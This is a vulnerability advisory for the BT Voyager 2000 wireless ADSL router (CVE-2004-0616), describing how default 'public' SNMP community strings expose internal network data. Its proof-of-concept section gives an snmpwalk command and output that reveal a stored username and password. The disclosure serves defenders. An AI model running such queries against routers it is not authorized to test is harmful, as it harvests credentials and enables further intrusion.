BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability

BID:10589

Info

BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability

Bugtraq ID: 10589
Class: Design Error
CVE: CVE-2004-0616
Remote: Yes
Local: No
Published: Jun 22 2004 12:00AM
Updated: Jul 12 2009 05:16AM
Credit: Discovery of this vulnerability is credited to "Konstantin V. Gavrilenko" <[email protected]>.
Vulnerable: BT Voyager 2000 Wireless ADSL Router
Not Vulnerable:

Discussion

BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability

BT Voyager 2000 Wireless ADSL Router is reported prone to a sensitive information disclosure vulnerability.

It is reported that 'public' SNMP MIB community strings which, are world readable by default contain sensitive information pertaining to the internal protected network.

Data collected by exploiting this vulnerability may be used in further attacks against the victim network.

Exploit / POC

BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability

The following example is available:

root@abyrvalg:~# snmpwalk -v 1 -c public 192.168.1.1
SNMPv2-MIB::sysDescr.0 = STRING: BT Voyager 2000 Wireless ADSL Router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.2535.111.6
SNMPv2-MIB::sysUpTime.0 = Timeticks: (260430184) 30 days, 1:02:01.84
[snip]
SNMPv2-SMI::transmission.23.2.3.1.5.5.1 = STRING:
"[email protected]"
SNMPv2-SMI::transmission.23.2.3.1.5.6.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.7.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.8.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.9.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.10.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.11.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.12.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.2 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.3 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.4 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.5 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password"
[snip]

Solution / Fix

BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability

References:

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